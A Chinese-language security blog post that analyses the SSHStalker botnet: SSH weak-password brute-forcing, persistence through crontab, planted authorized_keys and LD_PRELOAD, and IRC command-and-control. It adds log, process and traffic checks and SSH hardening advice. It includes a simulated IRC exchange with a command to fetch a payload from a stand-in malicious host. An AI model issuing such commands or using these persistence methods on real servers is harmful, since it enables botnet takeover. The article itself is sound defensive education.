我经常看到一种现象大家在搜索框里输入“ssh 连接失败”“vscode 连不上服务器”“ssh 免密登录怎么设置”几乎每个问题背后都对应着一台真实存在的服务器。可很少有人会接着问一句如果这台服务器用的是弱密码它是不是已经变成了某个僵尸网络里的一枚棋子这正是 SSHStalker 这类威胁最让人头疼的地方——它不挑操作系统、不依赖 0day唯一依赖的就是管理员在 SSH 端口上留下的缝隙。这个家族从最初的 SSH 弱口令爆破起家逐步演化成以 IRC 频道为指挥中枢的“潜伏军团”感染后植入挖矿木马、安装后门、横向扩散整个过程可能持续数月不被发现。这篇文章我不打算只讲“有个恶意软件叫 SSHStalker”这种泛泛而谈而是会把它拆开来看它怎么进来的、进来之后干了什么、IRC 控制信道是怎么运作的、中招后日志和进程里留下哪些痕迹、以及我们到底该怎么防御。适合三类读者自己跑着云主机或自建服务的技术人、负责公司服务器资产安全的运维工程师、以及对僵尸网络攻防感兴趣的安全研究初学者。1. 从“人人都在用 SSH”说起为什么僵尸网络偏爱这个端口1.1 SSH 的普及程度直接决定了攻击者的“渔场”规模你看那些热搜词就能感受到 SSH 在真实世界的渗透率VSCode 远程连接、Git 配置 SSH 密钥、Windows 上做 SSH 隧道、H3C 交换机开启 SSH 登录、ESXi 命令行 SSH、Gitea 管理用户密钥……从桌面 IDE 到虚拟化平台从代码托管到网络设备几乎每一层基础设施都在用 SSH。这是一个极其庞大的攻击面。攻击者不需要针对每台机器单独想办法只要在全网范围内持续扫描 22 端口然后用弱口令字典挨个试探就能以极低的成本获得大量可用主机。SSHStalker 正是沿着这条路径走的。它甚至不需要精心挑选目标——只要你的 SSH 服务暴露在公网、用的是弱密码、没有做登录频率限制就可能在扫描器第一次经过时就被“点名”。1.2 弱口令是僵尸网络最稳定的人口红利我处理过不少被入侵的服务器发现一个共同点受害者往往不是被什么高级攻击手段打穿的而是被一个极其简单的密码打败的。比如 root 密码是123456、admin123、Pssw0rd这类“看起来设了但实际上等于没设”的组合。SSH 爆破攻击的字典里除了常见密码还会把各种默认密码、品牌默认口令、年份加月份、公司名加数字全部混进去。一台配置普通的云主机如果密码强度不够暴露在公网后二十四小时内被爆破成功完全不稀奇。SSHStalker 这类僵尸网络把这种爆破行为规模化、自动化一台肉鸡成功上线后它还会继续用这台机器的网络去扫下一批目标形成滚雪球效应。1.3 为什么 SSHStalker 值得专门拿出来分析单纯的 SSH 爆破工具很多但 SSHStalker 和普通爆破木马有个本质区别它是一套完整的“入侵-持久化-指挥-变现”闭环。爆破只是入口IRC 频道才是它真正的心脏。攻击者通过 IRC 协议向成千上万台被控主机同时下发指令可以随时更新载荷、发起新的爆破、调整挖矿策略甚至把控制权转卖给其他攻击者。可以说它不是一个孤立的病毒文件而是一支受统一指挥的“潜伏部队”。理解这个家族的意义在于SSH 弱口令问题短期内不可能消失而只要这个问题存在类似 SSHStalker 的威胁就一定会反复出现。读懂了它的运作逻辑等于读懂了一整类基于 SSH 的僵尸网络。2. 拆解三位一体结构IRC 控制、SSH 爆破、挖矿变现2.1 一个“军团”的三个组成模块根据已公开的威胁情报和样本分析SSHStalker 的整体架构可以分成三个相互咬合的部分传播模块负责扫网和爆破控制模块负责通过 IRC 信道接收指令载荷模块负责在肉鸡上执行具体的恶意行为最常见的是挖矿。模块作用关键特征传播模块扫描公网 SSH 端口尝试弱口令登录源 IP 多为 VPS、IDC、境外出口节点控制模块连接 IRC 服务器加入特定频道等待指令长连接、心跳包、频道名和昵称有固定特征载荷模块下载并运行挖矿程序、安装后门、横向扩散落地文件多位于 /tmp、/var/tmp、/dev/shm2.2 爆破阶段攻击者怎么做“初筛”攻击者通常的做法是先全网扫描找到 22 端口开放的 IP然后对每台机器尝试用户名和密码组合。用户名不只是 root还包括 admin、ubuntu、centos、test、oracle 这类常见账号。密码字典从几十条到几百万条不等越专业的僵尸网络字典越庞大。这里有个容易被忽略的细节很多僵尸网络爆破成功后会立刻修改系统配置比如把 SSH 端口从 22 改成其他高位端口甚至直接替换 sshd 配置来限制可登录用户。这么做的目的是“独占猎物”——避免其他攻击者或家族再进来抢资源。所以如果你发现服务器 SSH 端口无故变了或者 sshd_config 文件被修改过本身就是一个强烈的失陷信号。2.3 持久化阶段种下“潜伏”的后门爆破成功后恶意程序不会只跑一个挖矿进程就完事它会尽力让自己留得更久。常见手法包括写入 crontab 定时任务每隔几分钟从远程服务器拉取最新载荷在 authorized_keys 文件里追加攻击者的 SSH 公钥实现长期免密登录替换或修改 sshd 配置让后门即使在系统重启后也能重新打开入口安装 rootkit 级别的隐藏工具让进程、文件、网络连接从常规检查中“消失”关闭系统日志或定时清除日志中的登录记录。这些手段叠加起来就形成了一种“潜伏”状态业务照常运行、机器看着没毛病但攻击者随时可以通过后门回来重新下发指令、更新木马版本、甚至把机器卖给下一个攻击者。2.4 为什么挖矿成了主力变现手段在 SSHStalker 的载荷里门罗币挖矿组件出现的频率最高这也是大多数服务器僵尸网络的共性选择。原因很简单比特币挖矿需要专业矿机普通 CPU 挖起来性价比太低而门罗币针对 CPU 挖矿做了大量优化攻击者可以在一台普通云主机上直接运行矿工程序把受害者的算力变成加密货币收益。有些运营者还会做“动态调整”——当检测到服务器 CPU 使用率过高、管理员可能在看监控时让挖矿进程自动休眠等风头过了再继续。这也解释了为什么很多受害者发现自己服务器被植入挖矿木马时它可能已经偷偷跑了好几个星期。3. 一次“被拿下”的完整时间线从爆破到失控3.1 时间线还原为了让你对 SSHStalker 的攻击流程有更直观的理解我按时间顺序还原一台典型受害服务器的失陷过程攻击者控制的扫描节点发现目标 IP 的 22 端口开放爆破脚本开始尝试弱口令组合可能在几分钟到几小时内成功登录成功后下载初始落地脚本到 /tmp 目录并执行脚本关闭或清空历史日志写入 crontab 持久化任务从远程服务器下载挖矿程序、IRC 客户端组件挖矿进程启动CPU 占用率开始上升木马进程连接 IRC 服务器加入频道并报告“上线”攻击者通过 IRC 下发指令可能安装 SSH 公钥后门或以内网为跳板继续扫描其他网段攻击者根据肉鸡数量、CPU 核心数、带宽情况决定是长期持有还是直接转卖控制权。整个流程里第 3 到第 6 步往往在几十秒内完成。很多管理员即使刚好在操作服务器也只会觉得“怎么突然卡了一下”完全意识不到一台机器已经完成了从正常到被控制的状态切换。3.2 从日志里找回真相被入侵之后第一现场就在日志里。Linux 系统常见的登录日志包括/var/log/auth.logDebian/Ubuntu 系和/var/log/secureRHEL/CentOS 系里面记录了所有 SSH 登录尝试的成败。排查时应该重点看两类记录一类是大量连续的 “Failed password” 日志说明目标正在被爆破另一类是“多次失败后突然成功”的日志这一条几乎就是攻击者的成功登录记录。使用以下命令可以快速提取# 查看最近 100 次 SSH 登录相关记录 grep sshd /var/log/auth.log | tail -100 # 筛选成功登录的记录 grep Accepted /var/log/auth.log | tail -50 # 查看所有失败尝试的来源 IP 统计 grep Failed password /var/log/auth.log | awk {print $(NF-3)} | sort | uniq -c | sort -nr | head -20 # 如果日志被清理过查看 last 和 lastlog 是否有异常断档 last -20 lastlog实际操作中要注意如果攻击者已经清了日志w、last看到的记录可能都是空的但这本身就是异常——一台正常使用的服务器不可能没有任何登录记录。3.3 别被“陌生 IP 成功登录”吓到也别错过它在排查登录日志时一定要结合自己的使用习惯来判断。有的管理员在家、在公司、在出差地点都会登录服务器IP 经常变化这时看到陌生 IP 不一定是入侵可能只是你忘了。稳妥的做法是维护一份自己的 IP 清单把所有已知登录来源列出来排查时重点关注清单之外的 IP。我见过有运维为了省事把所有 SSH 来源都放行结果攻击者成功登录了好几天都没被发现。反过来也有人看到自己没有记忆的海外 IP 就紧张最后发现那是云厂商的维护通道或监控探针。处理这类问题最好把判断依据落到“是否有对应的操作痕迹”上——光登录不算什么登录后做了什么才是关键。4. 藏在 IRC 频道里的指挥中枢控制信道机制与识别方法4.1 IRC 为什么“老而不死”IRC 是上世纪 80 年代的协议按说早就该被扫进历史了但它一直是僵尸网络运营者的心头好。原因有三点协议极其简单公开资料多几乎任何语言都能写客户端服务器数量庞大且很多支持匿名注册攻击者随时可以换一个新的整个生态里存在大量“bot 文化”很多现成的 IRC 机器人代码可以直接改造成恶意 bot。在 SSHStalker 的样本中恶意程序通常会在本地启动一个 IRC 客户端进程向外部的 IRC 服务器发起连接加入指定的频道以特定昵称“报到”然后默默等待频道里的指令。这种模式下攻击者可以同时指挥大量主机单台肉鸡失效也不影响整体建制的稳定。4.2 一条指令从下发到执行的过程为了让你理解 IRC 控制信道的运作方式我模拟一个简化版的通信过程这不是真实攻击者的指令只是用来说明协议逻辑bot: JOIN #win95 server: :irc.example.com 353 bot #win95 :admin bot1 bot2 bot3 bot: PRIVMSG #win95 :[READY] host1 cpu4 mem8G admin: PRIVMSG #win95 :.update http://malicious.example.com/payload bot: PRIVMSG #win95 :[OK] downloading...通过 PRIVMSG 给频道发消息攻击者能让所有在线 bot 同时执行下载更新、启动挖矿、扫描内网等操作。部分家族还会用 TOPIC 指令下发指令因为 TOPIC 是频道级的公共信息方便所有成员统一获取。这种机制带来的防御困境是攻击者不一定需要和自己的 C2 服务器保持固定连接他可以今天用一个服务器地址明天换一个只要在频道里广播一句“所有人都连接到新地址”整个 botnet 就完成了一次迁移。4.3 在网络流量层面识别 IRC 僵尸网络对防御者来说识别 IRC 僵尸网络比识别普通的 HTTPS 远控要容易一些因为 IRC 协议特征非常明显。你可以先查看服务器上有哪些对外连接# 查看当前所有 TCP 连接及对应进程 ss -antp # 过滤出 6667/6668/7000 等 IRC 常见端口 ss -antp | grep -E :(6667|6668|7000|8000)\b # 用 tcpdump 抓取可疑连接的数据包内容 tcpdump -i eth0 -nn port 6667 or port 6668 -A如果服务器并没有部署任何 IRC 服务却频繁向某些固定 IP 的 6667、6668 端口发起长连接而且数据包里能看到 JOIN、PRIVMSG、PING、PONG 这类明文关键词基本可以断定这是一台僵尸网络肉鸡。部分版本为了隐蔽会把 IRC 流量伪装在 80/443 端口但协议层的 PING/PONG 心跳和 JOIN 动作是藏不住的抓包后仍然能识别出来。4.4 昵称与频道命名的“暗号学”僵尸网络的 IRC 频道命名通常有固定套路常见的是以字母前缀加数字编号组合比如#win7、#u1s、#top100这种没有实际含义的字符串。bot 的昵称也可能是[UrX]-8192、xr45-120这类前缀加数字的形式数字有时候会代表 bot 的编号或机器性能信息。掌握这些规律的意义不在于“看懂暗号”而在于把这些特征写入到流量监控和日志告警规则里遇到类似特征的外联连接就直接触发告警。哪怕不能百分百确定是谁也比完全没有感知要强得多。5. 失陷服务器的排查清单从进程、文件、定时任务到后门5.1 快速判断“是不是中招了”的症状表以下这些症状如果同时出现多个就要高度警惕症状常见表现CPU 占用持续偏高空闲时 CPU 使用率 80% 以上或 top 里出现陌生进程占用多核带宽异常对外上行流量持续增长有大量未知 IP 的通信定时任务被修改crontab 出现 curl、wget 下载脚本的记录SSH 登录异常日志中出现多次 Failed password 后紧跟 Accepted系统目录出现可疑文件/tmp、/var/tmp、/dev/shm 下有随机名称的二进制文件用户公钥被篡改~/.ssh/authorized_keys 出现非本人添加的公钥5.2 进程和文件排查进程排查要重点关注那些名字看起来“很正常”但实际路径很可疑的程序。用top看到 CPU 占用最高的进程后用ls -l /proc/PID/exe查看它的真实执行路径很多挖矿木马会把二进制藏在 /tmp 或 /var/tmp 下通过 /proc 能一眼看穿# 查看占用 CPU 最高的进程列表 top -bn1 | head -30 # 查看指定 PID 的真实执行文件路径 ls -l /proc/PID/exe # 列出 /tmp、/var/tmp、/dev/shm 下最近修改的可执行文件 find /tmp /var/tmp /dev/shm -type f -mtime -30 -executable -ls # 查看系统所有用户下一次登录可能用到的公钥 cat ~/.ssh/authorized_keys文件排查时要注意文件时间戳。攻击者为了不让文件显得突兀会尽量把时间戳改成和系统文件一致所以单看时间不一定可靠最好配合内容特征和行为特征一起判断。5.3 网络连接和定时任务排查定时任务是持久化的重点阵地也是很多应急响应人员容易漏掉的地方。除了crontab -l一定要检查系统级定时任务目录/etc/cron.d/、/etc/cron.daily/、/var/spool/cron/。有些木马会把计划任务脚本写到这些目录而且文件名伪装成系统更新或日志轮转的样子。网络连接排查方面除了ss -antp还要关注那些处于 ESTABLISHED 状态但进程路径可疑的连接以及周期性出现的短连接。有些 bot 为了规避检测每隔几秒或几分钟才向 C2 发一次心跳如果只看一个瞬间的ss输出可能发现不了这时候需要连续观察或使用抓包工具。5.4 后门与 rootkit 排查SSH 公钥后门是最常见也最容易被忽略的。检查时要把服务器上所有用户的 authorized_keys 文件都过一遍包括 root 和系统用户。另一个容易藏后门的地方是LD_PRELOAD攻击者会通过修改/etc/ld.so.preload或用户环境的 LD_PRELOAD 变量把恶意动态库提前加载到所有进程中从而隐藏自己的进程和文件。查看方式# 检查 LD_PRELOAD 相关配置 cat /etc/ld.so.preload 2/dev/null env | grep LD_PRELOAD # 检查 sshd 配置文件是否有异常修改 sshd -T | grep -i -E permitrootlogin|authorizedkeys|passwordauthentication|port实际处理时建议直接对比一份“干净系统”的 sshd 配置而不是靠肉眼判断因为攻击者可能会把配置改得很隐蔽比如在配置末尾追加一行PermitRootLogin yes不仔细看很容易漏过。5.5 取证阶段最重要的原则先保存现场再动手清理很多人在确认中招后第一反应是“赶紧杀掉进程、删掉文件”这个做法在应急里其实是错的。如果先清理不仅可能触发恶意程序的自毁机制还会让攻击痕迹被覆盖后续根本无法溯源。正确的顺序是先对服务器做快照或磁盘镜像复制一份完整的日志目录和恶意文件样本建议用tar打包后拷到离线分析机然后才考虑隔离和清理。保存证据这一步做得越充分后续的入侵路径还原和漏洞修补就越有依据。6. 防御不是“等中招再补救”SSH 加固、监控与应急一体化方案6.1 把 SSH 基线的每一颗螺丝拧紧防御 SSHStalker 这类威胁第一道防线就是 SSH 本身。我建议的基线配置至少包括以下几点# /etc/ssh/sshd_config 关键配置 # 禁止 root 直接密码登录改用普通用户 sudo PermitRootLogin no # 启用密钥登录 PubkeyAuthentication yes # 关闭密码登录只允许密钥 PasswordAuthentication no # 限制可登录用户 AllowUsers yourname # 监听端口使用非默认端口减少扫描命中率 Port 22222修改后执行sshd -t检查语法然后systemctl reload sshd生效。这里要注意一个细节关闭密码登录前务必确认自己的密钥已经能正常登录最好同时保留一个临时会话窗口避免改完配置把自己锁在外面。我遇到过不止一次因为配置出错导致远程登录全部失效的案例操作时一定要谨慎。6.2 用 fail2ban 和 TOTP 把爆破挡在门外如果你的业务确实需要开放密码登录比如某些自动化场景至少要用 fail2ban 做登录频率限制。一个简单的 jail 配置如下# /etc/fail2ban/jail.local [sshd] enabled true port ssh filter sshd logpath /var/log/auth.log maxretry 5 findtime 300 bantime 3600当同一个 IP 在 5 分钟内出现 5 次认证失败就会被封禁一小时。对爆破者来说这个速度会让攻击效率急剧下降。更进一步的方案是启用 TOTP 双因素认证通过libpam-google-authenticator为 SSH 登录增加动态验证码即使密码和密钥都泄露攻击者没有手机令牌也进不来。对于有合规要求的企业服务器这套方案几乎是标配。6.3 日志不集中、告警不落地等于没有监控很多服务器的日志只存在本地攻击者清掉日志后就没有任何线索了。要让 SSHStalker 这类威胁“无处遁形”至少要把日志实时转发到远程日志服务器或云日志平台。Linux 下可以用 rsyslog 将 auth.log 转发到远端也可以直接用轻量 Agent 采集。同时在关键文件上挂监控auditd 可以监控 sshd_config、authorized_keys、/etc/crontab 等文件的修改行为。一旦攻击者篡改这些文件系统会立刻记录下对应的进程和用户信息。# 为 authorized_keys 添加审计规则 auditctl -w /root/.ssh/authorized_keys -p wa -k ssh_key_change # 查看该文件的审计记录 ausearch -k ssh_key_change --start recent关键的思路是与其费劲地想“怎么防止攻击者进来”不如先保证“攻击者不管怎么进来都会留下痕迹”并且这些痕迹会第一时间通知到你。后者在实战中往往更能救命。6.4 应急响应的标准动作隔离、取证、清理、加固真到中招那一步按下面的顺序操作能最大程度降低损失隔离立即将服务器从业务网络断开或通过云控制台的安全组限制来源 IP但不要直接重启以免丢失内存数据。取证保存系统日志副本、进程快照、恶意文件样本记录当前时间、运行中的进程列表、网络连接列表。清理确认没有新的后门通道后再终止恶意进程、删除恶意文件和定时任务、移除攻击者公钥。修补更换所有受影响账号的密码和密钥更新服务器系统补丁按基线加固 SSH 配置。恢复确认无异常行为后重新接入网络持续观察 CPU、网络连接和登录日志 24-48 小时。复盘分析攻击者是通过哪条路径进来的把该堵的洞全部堵上并更新到团队的安全检查清单里。6.5 从“僵尸网络”到“身份风暴”前瞻更长远的攻防走向SSHStalker 只是一个侧面。未来针对 SSH 生态的攻击会更加庞大攻击者的目标也在逐渐从“挖矿赚快钱”转向“持有一批身份凭证”。你想想看如果攻击者掌握的不仅是一台服务器的 root 权限还包括这台服务器上所有用户的密钥、Git 凭据、云平台 AK/SK那么它的下一步动作就不是挖矿这么简单了而是可以顺着凭据关系链直接打入你的云账号、代码仓库、内部系统。所以防御的终点不是“加固一台服务器”而是“建立一套可审计的身份与访问管理体系”。钥匙越少丢失的风险越小每一次访问都有记录异常行为才能被及时识别。7. 最后聊点日常安全习惯别把自己锁在门外也别把门敞给所有人SSH 安全听起来是个很大的话题落到日常其实就几点用密钥而不是密码密钥一定要设 passphrase别裸奔在磁盘上每次配置完 SSH 先开一个备用连接再断开当前会话不要把私钥上传到 GitHub 或网盘定期检查 authorized_keys 里有没有陌生的公钥。我自己的习惯是给每台服务器建一个独立用户日常操作不用 root需要用管理员权限时再sudo。这样即使某个账号被爆破攻击者拿到的也不是最高权限至少能多一道屏障。另外我会把常用的服务器 IP 和登录时间记在一个本子里不是为了写日记而是为了让“异常登录”这件事在排查时更容易暴露出来。如果你现在正在用密码方式登录服务器建议今天就抽十分钟完成两件事第一生成一对新的 SSH 密钥并配置好免密登录第二确认密钥能正常登录后再修改 sshd_config 关闭密码登录。做完这两步再回头看 SSHStalker 的攻击链路你会发现它赖以生存的“弱口令入口”在你这里已经不存在了。SSH 这个协议还会继续存在很多年针对它的攻击也不会停止。作为管理员我们能做的不是追求永远不出事而是保证出事的第一时间就能发现、能处置、能溯源。做到这一点那些隐藏在 22 端口的“潜伏军团”就永远不会把你列为下一个目标。